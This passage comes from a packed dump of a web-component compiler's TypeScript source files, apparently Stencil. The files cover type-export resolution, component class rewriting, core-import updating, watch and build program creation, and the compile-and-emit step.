}\n\n        // if there are named exports (like `export { Pie, Cake } from './dessert'`)\n        // we get each export specifier (`Pie`, `Cake`), use the typechecker\n        // to get its type, figure out the name, and so on.\n        if (node.exportClause && ts.isNamedExports(node.exportClause)) {\n          for (const exportSpecifier of node.exportClause.elements) {\n            // this is the identifier in an export specifier, like 'Foo' below:\n            //\n            // ```ts\n            // export { Foo } from './bar';\n            //          ^^^\n            // ```\n            const identifier = exportSpecifier.getChildAt(0);\n            if (!identifier) {\n              return;\n            }\n            // if this symbol is being aliased like\n            //\n            // ```ts\n            // export { Best as Worst } from './huh';\n            // ```\n            //\n            // this will give us 'Best' as a symbol, letting us look that name up\n            // in the source module, below\n            const name = getOriginalTypeName(identifier, checker);\n\n            ts.forEachChild(exportHomeModule, (child) => {\n              if (isTypeDeclLike(child) && child.name.getText() === name) {\n                exportedTypeNodes.push(child);\n              }\n            });\n          }\n        } else {\n          // if it's _not_ a named export clause then it's something like `export\n          // * from 'foo'`, so we need to deal with all the types exported from\n          // that module. Conveniently, this very function does that! So we just\n          // recur on the file from which we're exporting everything.\n          exportedTypesInSourceFile(exportHomeModule, exportedTypeNodes);\n        }\n      }\n    });\n    return exportedTypeNodes;\n  }\n\n  // loop through the type nodes and add them to the library\n  for (const node of exportedTypesInSourceFile(sourceFile)) {\n    const type = checker.getTypeAtLocation(node);\n    const typeName = node.name.getText();\n    addToLibrary(type, typeName, checker, normalizePath(node.getSourceFile().fileName, false));\n  }\n}\n\n/**\n * Given a `ts.SourceFile` representing an importer module and an import path\n * representing the path to another module, return the {@link ts.SourceFile}\n * corresponding to the imported module.\n *\n * @param importer the source file which imports the module of interest\n * @param importPath the import path to the module of interest\n * @param options typescript compiler options\n * @param compilerHost a {@link ts.CompilerHost}\n * @param program a {@link ts.Program}\n * @returns a {@link ts.SourceFile} for the imported module or `undefined` if\n * it can't be resolved\n */\nexport function getHomeModule(\n  importer: ts.SourceFile,\n  importPath: string,\n  options: ts.CompilerOptions,\n  compilerHost: ts.CompilerHost,\n  program: ts.Program,\n): ts.SourceFile | undefined {\n  const module = ts.resolveModuleName(importPath, importer.fileName, options, compilerHost);\n  const resolvedFileName = module?.resolvedModule?.resolvedFileName;\n\n  if (!resolvedFileName) {\n    return undefined;\n  }\n  const exportHomeModule = program.getSourceFile(resolvedFileName);\n  return exportHomeModule;\n}\n\n/**\n * Given the name of a type, attempt to find the type declaration in the\n * {@link ts.SourceFile} where it is declared.\n *\n * @param module the home module for the type of interest\n * @param typeName the name of the type of interest\n * @returns a type declaration for the type of interest or `undefined` if it\n * cannot be found\n */\nexport function findTypeWithName(module: ts.SourceFile, typeName: string): TypeDeclLike | undefined {\n  let typeWithName;\n  ts.forEachChild(module, (child) => {\n    if (isTypeDeclLike(child) && child.name.getText() === typeName) {\n      typeWithName = child;\n    }\n  });\n  return typeWithName;\n}\n\n/**\n * Get the original name for a given type, dereferencing if it's an alias for\n * another type.\n *\n * @param identifier an identifier for the type whose 'true name' we're after\n * @param checker a {@link ts.TypeChecker} instance\n * @returns the type's original, un-aliased name (if successful) or `undefined`\n * if not\n */\nexport function getOriginalTypeName(identifier: ts.Node, checker: ts.TypeChecker): string | undefined {\n  const possiblyAliasedSymbol = checker.getSymbolAtLocation(identifier);\n  if (!possiblyAliasedSymbol) {\n    return undefined;\n  }\n  const unaliasedSymbol = unalias(possiblyAliasedSymbol, checker);\n  const name = unaliasedSymbol.getName();\n  return name;\n}\n\n/**\n * Check if a symbol is an alias of another symbol and, if so, use the\n * {@link ts.TypeChecker} to resolve the original. If not, just return the same\n * symbol.\n *\n * @param symbol the symbol of interest\n * @param checker a {@link ts.TypeChecker}\n * @returns a de-aliased symbol\n */\nfunction unalias(symbol: ts.Symbol, checker: ts.TypeChecker): ts.Symbol {\n  return symbol.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(symbol) : symbol;\n}\n\n/**\n * The 'type declaration like' syntax node types\n */\ntype TypeDeclLike = ts.InterfaceDeclaration | ts.TypeAliasDeclaration | ts.EnumDeclaration;\n\n/**\n * Check that a {@link ts.Node} is a type-declaration-like node. For our\n * purposes, this means that it is either an interface declaration, a type\n * alias, or an enum declaration.\n *\n * @param node a TypeScript syntax tree node\n * @returns whether or not this node is a type-declaration-like node\n */\nfunction isTypeDeclLike(node: ts.Node): node is TypeDeclLike {\n  return ts.isInterfaceDeclaration(node) || ts.isTypeAliasDeclaration(node) || ts.isEnumDeclaration(node);\n}\n\n/**\n * Check if a {@link ts.Declaration} is exported.\n *\n * @param node a TypeScript syntax tree node\n * @returns whether or not this node is exported\n */\nfunction isExported(node: TypeDeclLike): boolean {\n  return (ts.getCombinedModifierFlags(node) & ts.ModifierFlags.Export) !== 0;\n}\n\n/**\n * Check that a {@link ts.Declaration} is not marked as 'private' via JSDoc.\n *\n * @param node a TypeScript syntax tree node to check\n * @returns whether or not this node is marked as 'private'\n */\nfunction isNotPrivate(node: TypeDeclLike): boolean {\n  const jsDocTags = ts.getJSDocTags(node);\n\n  return !jsDocTags.some((tag) => tag.tagName.text === 'private');\n}\n\n/**\n * Get a string representation of the original declaration for a\n * {@link ts.Type} object.\n *\n * @param checker a {@link ts.TypeChecker} instance\n * @param type the type of interest\n * @returns a string containing the original declaration for that type\n */\nfunction getTypeDeclaration(checker: ts.TypeChecker, type: ts.Type): string {\n  const maybeSymbol = getSymbolForType(type);\n\n  const declaration = maybeSymbol?.declarations?.[0];\n\n  if (declaration) {\n    return declaration.getText();\n  } else {\n    // in the case that we couldn't resolve the declaration, `typeToString`\n    // provides a reasonable fallback\n    return typeToString(checker, type);\n  }\n}\n\n/**\n * Get docstring for a given type. Returns an empty string if no docstring is\n * present.\n *\n * @param type the type in question\n * @param checker a {@link ts.TypeChecker} instance\n * @returns the type's docstring if present, else an empty string\n */\nfunction getTypeDocstring(type: ts.Type, checker: ts.TypeChecker): string {\n  const symbol = type?.symbol;\n\n  return symbol ? ts.displayPartsToString(symbol.getDocumentationComment(checker)) : '';\n}\n\n/**\n * Get the unique ID for a type which was referenced somewhere within a Stencil project.\n *\n * We define a unique ID as the following string:\n *\n * ```ts\n * `${pathToTypeModule}::${typeName}`\n * ```\n *\n * where `pathToTypeModule` is the path to the type's home module and\n * `typeName` is the type's original name.\n *\n * The idea is that this defines an unambiguous identifier for types across a\n * Stencil project, so we can track the locations from which a given type is\n * referenced.\n *\n * @param pathToTypeModule the path to the home module for the type\n * @param typeName the type's name\n * @returns a formatted type ID\n */\nconst getTypeId = (pathToTypeModule: string, typeName: string): string => {\n  return `${normalizePath(pathToTypeModule, false)}::${typeName}`;\n};\n\n/**\n * Get the symbol for a {@link ts.Type} node. This may be an alias.\n *\n * @param type the type of interest\n * @returns either a {@ts.Symbol} or `null`, if none found\n */\nfunction getSymbolForType(type: ts.Type): ts.Symbol | null {\n  if (type?.symbol) {\n    return type.symbol;\n  }\n  if (type?.aliasSymbol) {\n    return type.aliasSymbol;\n  }\n  return null;\n}\n"
  },
  {
    "path": "src/compiler/transformers/update-component-class.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { retrieveTsDecorators, retrieveTsModifiers } from './transform-utils';\n\n/**\n * Transformation helper for updating how a Stencil component class is declared.\n *\n * Based on the output module type (CommonJS or ESM), the behavior is slightly different:\n * - For CommonJS, the component class is left as is\n * - For ESM, the component class is re-written as a variable statement\n *\n * @param transformOpts the options provided to TypeScript + Rollup for transforming the AST node\n * @param classNode the node in the AST pertaining to the Stencil component class to transform\n * @param heritageClauses a collection of heritage clauses associated with the provided class node\n * @param members a collection of members attached to the provided class node\n * @returns the updated component class declaration\n */\nexport const updateComponentClass = (\n  transformOpts: d.TransformOptions,\n  classNode: ts.ClassDeclaration,\n  heritageClauses: ts.HeritageClause[] | ts.NodeArray<ts.HeritageClause>,\n  members: ts.ClassElement[],\n): ts.ClassDeclaration | ts.VariableStatement => {\n  let classModifiers = retrieveTsModifiers(classNode)?.slice() ?? [];\n\n  if (transformOpts.module === 'cjs') {\n    // CommonJS, leave component class as is\n\n    if (transformOpts.componentExport === 'customelement') {\n      // remove export from class - it may already be removed by the TypeScript compiler in certain circumstances if\n      // this transformation is run after transpilation occurs\n      classModifiers = classModifiers.filter((m) => {\n        return m.kind !== ts.SyntaxKind.ExportKeyword;\n      });\n    }\n    return ts.factory.updateClassDeclaration(\n      classNode,\n      [...(retrieveTsDecorators(classNode) ?? []), ...classModifiers],\n      classNode.name,\n      classNode.typeParameters,\n      heritageClauses,\n      members,\n    );\n  }\n\n  // ESM with export\n  return createConstClass(transformOpts, classNode, heritageClauses, members);\n};\n\n/**\n * Rewrites a component class as a variable statement.\n *\n * After running this function, the following:\n * ```ts\n * class MyComponent {}\n * ```\n * is rewritten as\n * ```ts\n * const MyComponent = class {}\n * ```\n * @param transformOpts the options provided to TypeScript + Rollup for transforming the AST node\n * @param classNode the node in the AST pertaining to the Stencil component class to transform\n * @param heritageClauses a collection of heritage clauses associated with the provided class node\n * @param members a collection of members attached to the provided class node\n * @returns the component class, re-written as a variable statement\n */\nconst createConstClass = (\n  transformOpts: d.TransformOptions,\n  classNode: ts.ClassDeclaration,\n  heritageClauses: ts.HeritageClause[] | ts.NodeArray<ts.HeritageClause>,\n  members: ts.ClassElement[],\n): ts.VariableStatement => {\n  const className = classNode.name;\n\n  const tsModifiers = retrieveTsModifiers(classNode) ?? [];\n\n  // we might be in a situation where the class decl doesn't have `export` on\n  // it but the symbol is nonetheless exported from the module, like\n  //\n  // ```ts\n  // class MyClass {}\n  // export { MyClass };\n  // ```\n  //\n  // so we want to keep track of whether the class decl actually has `export`\n  // on it, and only add it below if so\n  const classHasExportKeyword = tsModifiers.some((m) => m.kind === ts.SyntaxKind.ExportKeyword);\n\n  const classModifiers = tsModifiers.filter((m) => {\n    // remove the export - it may already be removed by the TypeScript compiler\n    // in certain circumstances if this transformation is run after\n    // transpilation occurs\n    return m.kind !== ts.SyntaxKind.ExportKeyword;\n  });\n\n  const constModifiers: ts.Modifier[] = [];\n\n  if (transformOpts.componentExport !== 'customelement' && classHasExportKeyword) {\n    constModifiers.push(ts.factory.createModifier(ts.SyntaxKind.ExportKeyword));\n  }\n\n  return ts.factory.createVariableStatement(\n    constModifiers,\n    ts.factory.createVariableDeclarationList(\n      [\n        ts.factory.createVariableDeclaration(\n          className,\n          undefined,\n          undefined,\n          ts.factory.createClassExpression(\n            classModifiers,\n            undefined,\n            classNode.typeParameters,\n            heritageClauses,\n            members,\n          ),\n        ),\n      ],\n      ts.NodeFlags.Const,\n    ),\n  );\n};\n"
  },
  {
    "path": "src/compiler/transformers/update-stencil-core-import.ts",
    "content": "import ts from 'typescript';\n\nimport { STENCIL_CORE_ID, STENCIL_JSX_DEV_RUNTIME_ID, STENCIL_JSX_RUNTIME_ID } from '../bundle/entry-alias-ids';\n\nexport const updateStencilCoreImports = (updatedCoreImportPath: string): ts.TransformerFactory<ts.SourceFile> => {\n  return () => {\n    return (tsSourceFile) => {\n      if (STENCIL_CORE_ID === updatedCoreImportPath) {\n        return tsSourceFile;\n      }\n\n      let madeChanges = false;\n      const newStatements: ts.Statement[] = [];\n\n      tsSourceFile.statements.forEach((s) => {\n        if (ts.isImportDeclaration(s)) {\n          if (s.moduleSpecifier != null && ts.isStringLiteral(s.moduleSpecifier)) {\n            const moduleSpecifierText = s.moduleSpecifier.text;\n\n            // Handle @stencil/core/jsx-runtime and @stencil/core/jsx-dev-runtime imports\n            if (moduleSpecifierText === STENCIL_JSX_RUNTIME_ID || moduleSpecifierText === STENCIL_JSX_DEV_RUNTIME_ID) {\n              // Rewrite to import from the updated core import path\n              const newImport = ts.factory.updateImportDeclaration(\n                s,\n                s.modifiers,\n                s.importClause,\n                ts.factory.createStringLiteral(updatedCoreImportPath),\n                s.attributes,\n              );\n              newStatements.push(newImport);\n              madeChanges = true;\n              return;\n            }\n\n            if (moduleSpecifierText === STENCIL_CORE_ID) {\n              if (\n                s.importClause &&\n                s.importClause.namedBindings &&\n                s.importClause.namedBindings.kind === ts.SyntaxKind.NamedImports\n              ) {\n                const origImports = s.importClause.namedBindings.elements;\n\n                const keepImports = origImports.map((e) => e.getText()).filter((name) => KEEP_IMPORTS.has(name));\n\n                if (keepImports.length > 0) {\n                  const newImport = ts.factory.updateImportDeclaration(\n                    s,\n                    undefined,\n                    ts.factory.createImportClause(\n                      false,\n                      undefined,\n                      ts.factory.createNamedImports(\n                        keepImports.map((name) =>\n                          ts.factory.createImportSpecifier(false, undefined, ts.factory.createIdentifier(name)),\n                        ),\n                      ),\n                    ),\n                    ts.factory.createStringLiteral(updatedCoreImportPath),\n                    undefined,\n                  );\n                  newStatements.push(newImport);\n                }\n              }\n              madeChanges = true;\n              return;\n            }\n          }\n        }\n        newStatements.push(s);\n      });\n\n      if (madeChanges) {\n        return ts.factory.updateSourceFile(\n          tsSourceFile,\n          newStatements,\n          tsSourceFile.isDeclarationFile,\n          tsSourceFile.referencedFiles,\n          tsSourceFile.typeReferenceDirectives,\n          tsSourceFile.hasNoDefaultLib,\n          tsSourceFile.libReferenceDirectives,\n        );\n      }\n\n      return tsSourceFile;\n    };\n  };\n};\n\n/**\n * A set of imports which we don't want to remove from an output file\n */\nconst KEEP_IMPORTS = new Set([\n  'h',\n  'setMode',\n  'getMode',\n  'setPlatformHelpers',\n  'Build',\n  'Env',\n  'Host',\n  'Fragment',\n  'getAssetPath',\n  'writeTask',\n  'readTask',\n  'getElement',\n  'forceUpdate',\n  'getRenderingRef',\n  'forceModeUpdate',\n  'setErrorHandler',\n  'setTagTransformer',\n  'transformTag',\n  'Mixin',\n  'jsx',\n  'jsxs',\n  'jsxDEV',\n  'render',\n]);\n"
  },
  {
    "path": "src/compiler/transpile/create-build-program.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { getTsOptionsToExtend } from './ts-config';\n\n/**\n * Create a TypeScript Program ({@link ts.Program}) to perform builds of a Stencil project using the provided\n * `buildCallback` entity\n * @param config a Stencil configuration to apply to a full build of a Stencil project\n * @param buildCallback a callback that invokes the actual transpilation of a Stencil project\n * @returns a Program that marries the TypeScript and Stencil compilers together.\n */\nexport const createTsBuildProgram = async (\n  config: d.ValidatedConfig,\n  buildCallback: (tsBuilder: ts.BuilderProgram) => Promise<void>,\n): Promise<ts.WatchOfConfigFile<ts.EmitAndSemanticDiagnosticsBuilderProgram>> => {\n  let isBuildRunning = false;\n  let currentBuildTimeoutId: any;\n\n  const optionsToExtend = getTsOptionsToExtend(config);\n\n  /**\n   * Create a {@link ts.System}. The System is responsible for handling all interactions between the TypeScript compiler\n   * and the host operating system.\n   */\n  const tsWatchSys: ts.System = {\n    ...ts.sys,\n\n    /**\n     * Watch changes in source files, missing files needed to update the program or config file\n     * @returns a no-op file watcher\n     */\n    watchFile(): ts.FileWatcher {\n      return {\n        close() {},\n      };\n    },\n    /**\n     * Watch a resolved module's failed lookup locations, config file specs, type roots where auto type reference\n     * directives are added\n     * @returns a no-op file watcher\n     */\n    watchDirectory(): ts.FileWatcher {\n      return {\n        close() {},\n      };\n    },\n    /**\n     * Set delayed compilation, so that multiple changes in short span are compiled together\n     * @param callback a callback to invoke upon the completion of compilation. this function is provided to Stencil by\n     * the TypeScript compiler.\n     * @param timeoutMs the minimum time to wait (in milliseconds) before checking if compilation is complete or not\n     * @returns the identifier for the interval that's created\n     */\n    setTimeout(callback: (...args: any[]) => void, timeoutMs: number): any {\n      currentBuildTimeoutId = setInterval(() => {\n        if (!isBuildRunning) {\n          callback();\n          clearInterval(currentBuildTimeoutId);\n        }\n      }, config.sys.watchTimeout || timeoutMs);\n      return currentBuildTimeoutId;\n    },\n\n    /**\n     * Reset existing delayed compilation\n     * @param timeoutId the current build timeout identifier to clear\n     */\n    clearTimeout(timeoutId: any): void {\n      clearInterval(timeoutId);\n    },\n  };\n\n  config.sys.addDestroy(() => tsWatchSys.clearTimeout(currentBuildTimeoutId));\n\n  /**\n   * Create a {@link ts.WatchCompilerHost}. A CompilerHost allows a {@link ts.Program} to interact with the\n   * {@link ts.System}, by acting as an intermediary:\n   * ```\n   * ┌────────────┐   ┌──────────────────────┐   ┌───────────┐   ┌──────────────────┐\n   * │ ts.Program │<->│ ts.WatchCompilerHost │<->│ ts.System │<->│ Operating System │\n   * └────────────┘   └──────────────────────┘   └───────────┘   └──────────────────┘\n   * ```\n   *\n   * Strictly speaking, the created entity is a subclass of a WatchCompilerHost. The\n   * {@link ts.WatchCompilerHostOfConfigFile} class has the following features that makes it useful to Stencil (even\n   * when Stencil is performing a single, full build):\n   * - it provides the opportunity to extend/alter an existing tsconfig file, allowing users to override specific\n   * configuration options via {@link ts.WatchCompilerHostOfConfigFile#optionsToExtend}, which is a provided as an\n   * argument in the constructor\n   * - it includes the {@link ts.WatchCompilerHost#afterProgramCreate} function in its interface, which Stencil\n   * overrides to invoke a build callback (not as a part of this object's creation)\n   */\n  const tsWatchHost: ts.WatchCompilerHostOfConfigFile<ts.EmitAndSemanticDiagnosticsBuilderProgram> =\n    ts.createWatchCompilerHost(\n      config.tsconfig,\n      optionsToExtend,\n      tsWatchSys,\n      ts.createEmitAndSemanticDiagnosticsBuilderProgram,\n      (reportDiagnostic) => {\n        config.logger.debug('watch reportDiagnostic:' + reportDiagnostic.messageText);\n      },\n      (reportWatchStatus) => {\n        config.logger.debug(reportWatchStatus.messageText);\n      },\n    );\n\n  /**\n   * Override {@link ts.WatchCompilerHost#afterProgramCreate} to invoke the build callback that was provided as an\n   * argument to this function.\n   * @param tsBuilder a {@link ts.BuilderProgram} to manage the {@link ts.Program} in the provided build context\n   */\n  tsWatchHost.afterProgramCreate = async (tsBuilder: ts.EmitAndSemanticDiagnosticsBuilderProgram): Promise<void> => {\n    isBuildRunning = true;\n    await buildCallback(tsBuilder);\n    isBuildRunning = false;\n  };\n\n  /**\n   * Create the initial {@link ts.Program} using Stencil's custom {@link ts.WatchCompilerHostOfConfigFile}. The Program\n   * represents the _TypeScript_ compiler context, that will work in tandem with Stencil's compiler context and build\n   * context\n   */\n  return ts.createWatchProgram(tsWatchHost);\n};\n"
  },
  {
    "path": "src/compiler/transpile/create-watch-program.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { getTsOptionsToExtend } from './ts-config';\n\n/**\n * This method creates the {@link ts.EmitAndSemanticDiagnosticsBuilderProgram} that is responsible for\n * rebuilding a Stencil project after file changes have been detected (via TS's polling-based file watcher).\n *\n * We mostly use a traditional approach to create the program as documented by the TS team:\n * {@link https://github.com/microsoft/TypeScript/wiki/Using-the-Compiler-API#writing-an-incremental-program-watcher}\n * However, we do override a few methods on the {@link ts.System} object.\n *\n * @param config The validated config for the Stencil project.\n * @param buildCallback A function that will be executed after the TS program is created and on subsequent\n * project rebuilds.\n * @returns An object containing the {@link ts.EmitAndSemanticDiagnosticsBuilderProgram} and callback\n * function to trigger a project rebuild.\n */\nexport const createTsWatchProgram = async (\n  config: d.ValidatedConfig,\n  buildCallback: (tsBuilder: ts.BuilderProgram) => Promise<void>,\n) => {\n  let isRunning = false;\n  let lastTsBuilder: any;\n  let timeoutId: any;\n\n  // Get the pre-baked TS options we want to use for our builder program\n  const optionsToExtend = getTsOptionsToExtend(config);\n\n  const tsWatchSys: ts.System = {\n    ...ts.sys,\n\n    /**\n     * Override the default `setTimeout` implementation in the {@link ts.System}. The reasoning\n     * behind this change is not explicitly clear, but this appears to be related to debouncing\n     * the build processes. Stencil currently has an issue where multiple file changes are detected\n     * at the same time for a single change. So, this override appears to prevent us from actually rebuilding\n     * the project in rapid succession for the detected changes.\n     *\n     * @param callback A method that will execute after the specified time duration\n     * @param time The time to wait before executing the callback\n     * @returns A {@link NodeJs.Timer} instance\n     */\n    setTimeout(callback, time) {\n      clearTimeout(timeoutId);\n      const delay = config.sys.watchTimeout || time;\n      const tick = () => {\n        if (!isRunning) {\n          callback();\n          timeoutId = null;\n        } else {\n          timeoutId = setTimeout(tick, delay);\n        }\n      };\n      timeoutId = setTimeout(tick, delay);\n      return timeoutId;\n    },\n  };\n\n  // Whenever the system teardown happens, we need to make sure there is no timeout running\n  config.sys.addDestroy(() => tsWatchSys.clearTimeout(timeoutId));\n\n  // Use the TS API to create our own watch compiler host that will be\n  // used to instantiate our watch program\n  const tsWatchHost = ts.createWatchCompilerHost(\n    // Use the TS config from the Stencil project\n    config.tsconfig,\n    optionsToExtend,\n    tsWatchSys,\n    // We use the `createEmitAndSemanticDiagnosticsBuilderProgram` as opposed to the\n    // `createSemanticDiagnosticsBuilderProgram` because we need our program to emit\n    // output files in addition to checking for errors\n    ts.createEmitAndSemanticDiagnosticsBuilderProgram,\n    // Add a callback to log out diagnostics as the program runs\n    (reportDiagnostic) => {\n      config.logger.debug('watch reportDiagnostic:' + reportDiagnostic.messageText);\n    },\n    // Add a callback to log out statuses of the the watch program\n    (reportWatchStatus) => {\n      config.logger.debug(reportWatchStatus.messageText);\n    },\n    // We don't want to allow users to mess with the watch method, so\n    // we only strip out the excludeFiles and excludeDirectories properties\n    // to allow the user to still have control over which files get excluded from the watcher\n    config.tsWatchOptions\n      ? {\n          excludeFiles: config.tsWatchOptions.excludeFiles,\n          excludeDirectories: config.tsWatchOptions.excludeDirectories,\n        }\n      : undefined,\n  );\n\n  // Add a callback that will execute whenever a new instance\n  // is created using the definition we have constructed for `tsWatchHost`.\n  // This is what will be used to kick-off the actual Stencil build process via the `buildCallback()`\n  tsWatchHost.afterProgramCreate = async (tsBuilder) => {\n    lastTsBuilder = tsBuilder;\n    isRunning = true;\n    await buildCallback(tsBuilder);\n    isRunning = false;\n  };\n\n  return {\n    // Create the watch builder program instance and make it available on the\n    // returned object. This provides us an easy way to teardown the program\n    // down-the-road.\n    program: ts.createWatchProgram(tsWatchHost),\n    // This will be called via a callback on the watch build whenever a file\n    // change is detected\n    rebuild: () => {\n      if (lastTsBuilder) {\n        tsWatchSys.setTimeout(() => tsWatchHost.afterProgramCreate(lastTsBuilder), 300);\n      }\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/transpile/run-program.ts",
    "content": "import {\n  filterExcludedComponents,\n  getComponentsFromModules,\n  isOutputTargetDistTypes,\n  join,\n  loadTypeScriptDiagnostics,\n  normalizePath,\n  relative,\n} from '@utils';\nimport { basename } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { updateComponentBuildConditionals } from '../app-core/app-data';\nimport { resolveComponentDependencies } from '../entries/resolve-component-dependencies';\nimport { performAutomaticKeyInsertion } from '../transformers/automatic-key-insertion';\nimport { convertDecoratorsToStatic } from '../transformers/decorators-to-static/convert-decorators';\nimport { rewriteAliasedDTSImportPaths } from '../transformers/rewrite-aliased-paths';\nimport { updateModule } from '../transformers/static-to-meta/parse-static';\nimport { generateAppTypes } from '../types/generate-app-types';\nimport { updateStencilTypesImports } from '../types/stencil-types';\nimport { validateTranspiledComponents } from './validate-components';\n\nexport const runTsProgram = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  tsBuilder: ts.BuilderProgram,\n): Promise<string[]> => {\n  const tsSyntactic = loadTypeScriptDiagnostics(tsBuilder.getSyntacticDiagnostics());\n  const tsGlobal = loadTypeScriptDiagnostics(tsBuilder.getGlobalDiagnostics());\n  const tsOptions = loadTypeScriptDiagnostics(tsBuilder.getOptionsDiagnostics());\n  buildCtx.diagnostics.push(...tsSyntactic);\n  buildCtx.diagnostics.push(...tsGlobal);\n  buildCtx.diagnostics.push(...tsOptions);\n\n  if (buildCtx.hasError) {\n    return [];\n  }\n\n  const tsProgram = tsBuilder.getProgram();\n\n  const tsTypeChecker = tsProgram.getTypeChecker();\n  const typesOutputTarget = config.outputTargets.filter(isOutputTargetDistTypes);\n  const emittedDts: string[] = [];\n\n  const emitCallback: ts.WriteFileCallback = (emitFilePath, data, _w, _e, tsSourceFiles) => {\n    if (\n      emitFilePath.includes('e2e.') ||\n      emitFilePath.includes('spec.') ||\n      emitFilePath.endsWith('e2e.d.ts') ||\n      emitFilePath.endsWith('spec.d.ts')\n    ) {\n      // we don't want to write these to disk!\n      return;\n    }\n\n    if (emitFilePath.endsWith('.js') || emitFilePath.endsWith('js.map')) {\n      updateModule(config, compilerCtx, buildCtx, tsSourceFiles[0], data, emitFilePath, tsTypeChecker, null);\n    } else if (emitFilePath.endsWith('.d.ts')) {\n      const srcDtsPath = normalizePath(tsSourceFiles[0].fileName);\n      const relativeEmitFilepath = getRelativeDts(config, srcDtsPath, emitFilePath);\n\n      emittedDts.push(srcDtsPath);\n      typesOutputTarget.forEach((o) => {\n        const distPath = normalizePath(join(normalizePath(o.typesDir), normalizePath(relativeEmitFilepath)));\n        data = updateStencilTypesImports(o.typesDir, distPath, data);\n        compilerCtx.fs.writeFile(distPath, data);\n      });\n    }\n  };\n\n  const transformers: ts.CustomTransformers = {\n    before: [\n      convertDecoratorsToStatic(config, buildCtx.diagnostics, tsTypeChecker, tsProgram),\n      performAutomaticKeyInsertion,\n    ],\n    afterDeclarations: [],\n  };\n\n  if (config.transformAliasedImportPaths) {\n    /**\n     * Generate a collection of transformations that are to be applied as a part of the `afterDeclarations` step in the\n     * TypeScript compilation process.\n     *\n     * TypeScript handles the generation of JS and `.d.ts` files through different pipelines. One (possibly surprising)\n     * consequence of this is that if you modify a source file using a transformer, it will not automatically result in\n     * changes to the corresponding `.d.ts` file. Instead, if you want to, for instance, rewrite some import specifiers\n     * in both the source file _and_ its typedef you'll need to run a transformer for both of them.\n     *\n     * See here: https://github.com/itsdouges/typescript-transformer-handbook#transforms\n     * and here: https://github.com/microsoft/TypeScript/pull/23946\n     *\n     * This quirk is not terribly well documented, unfortunately.\n     */\n    transformers.afterDeclarations.push(rewriteAliasedDTSImportPaths);\n  }\n\n  // Emit files that changed\n  const emitResult = tsBuilder.emit(undefined, emitCallback, undefined, false, transformers);\n\n  // Check for emit diagnostics\n  if (emitResult.diagnostics.length > 0) {\n    const emitDiagnostics = loadTypeScriptDiagnostics(emitResult.diagnostics);\n\n    // Enhance error messages for TS4094 to be more helpful for mixin users;\n    // These occur when mixins return classes with private/protected members that TypeScript cannot emit\n    emitDiagnostics.forEach((diagnostic) => {\n      if (diagnostic.code === '4094') {\n        diagnostic.level = 'warn';\n        diagnostic.messageText =\n          `${diagnostic.messageText}\\n\\n` +\n          `This commonly occurs when using mixins that return classes with private or protected members. ` +\n          `TypeScript cannot emit declaration files for anonymous classes with non-public members.\\n\\n` +\n          `Possible solutions:\\n` +\n          `  1. Add explicit type annotations to your mixin's return type\\n` +\n          `  2. Use public members in your mixin classes\\n` +\n          `  3. Use JavaScript private fields (#field) instead of TypeScript's private keyword`;\n      }\n    });\n\n    buildCtx.diagnostics.push(...emitDiagnostics);\n  }\n\n  const changedmodules = Array.from(compilerCtx.changedModules.keys());\n  buildCtx.debug('Transpiled modules: ' + JSON.stringify(changedmodules, null, '\\n'));\n\n  // Finalize components metadata\n  buildCtx.moduleFiles = Array.from(compilerCtx.moduleMap.values());\n  const allComponents = getComponentsFromModules(buildCtx.moduleFiles);\n\n  // Filter out excluded components based on config patterns\n  const { components: filteredComponents, excludedComponents } = filterExcludedComponents(allComponents, config);\n  buildCtx.components = filteredComponents;\n\n  // Queue deletion of .d.ts files for excluded components in the in-memory FS\n  // These deletions will be committed when compilerCtx.fs.commit() is called during writeBuild\n  if (excludedComponents.length > 0 && typesOutputTarget.length > 0) {\n    excludedComponents.forEach((cmp) => {\n      const srcPath = normalizePath(cmp.sourceFilePath);\n      const relativeToSrc = relative(config.srcDir, srcPath);\n      const dtsRelativePath = relativeToSrc.replace(/\\.tsx?$/, '.d.ts');\n\n      typesOutputTarget.forEach((outputTarget) => {\n        const outputDtsPath = join(outputTarget.typesDir, dtsRelativePath);\n\n        // The file may have been queued for writing during emit\n        // We need to cancel the write and queue it for deletion instead\n        const item = compilerCtx.fs.getItem(outputDtsPath);\n        item.queueWriteToDisk = false;\n        item.queueDeleteFromDisk = true;\n      });\n    });\n  }\n\n  updateComponentBuildConditionals(compilerCtx.moduleMap, buildCtx.components);\n  resolveComponentDependencies(buildCtx.components);\n\n  validateTranspiledComponents(config, buildCtx);\n\n  if (buildCtx.hasError) {\n    return [];\n  }\n\n  return emittedDts;\n};\n\nexport interface ValidateTypesResult {\n  hasTypesChanged: boolean;\n  needsRebuild: boolean;\n}\n\n/**\n * Generate types and run semantic validation AFTER components.d.ts exists on disk\n */\nexport const validateTypesAfterGeneration = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  tsBuilder: ts.BuilderProgram,\n  emittedDts: string[],\n): Promise<ValidateTypesResult> => {\n  const tsProgram = tsBuilder.getProgram();\n  const typesOutputTarget = config.outputTargets.filter(isOutputTargetDistTypes);\n\n  // Check if components.d.ts already exists\n  const componentsDtsPath = join(config.srcDir, 'components.d.ts');\n  const componentsDtsExistedBefore = await compilerCtx.fs.access(componentsDtsPath);\n\n  // If components.d.ts doesn't exist yet, generate it and signal that a rebuild is needed.\n  // The current TS program was created without components.d.ts, so it can't provide\n  // accurate type checking. We need a fresh TS program that includes components.d.ts.\n  if (!componentsDtsExistedBefore) {\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n    // Signal that we need to rebuild with a fresh TS program\n    return { hasTypesChanged: true, needsRebuild: true };\n  }\n\n  // components.d.ts existed, so the TS program has full type information.\n  // Run semantic validation on user source files.\n  if (config.validateTypes) {\n    const sourceFiles = tsProgram.getSourceFiles().filter((sf) => {\n      const fileName = normalizePath(sf.fileName);\n      return (\n        !fileName.includes('node_modules') &&\n        !fileName.endsWith('.d.ts') &&\n        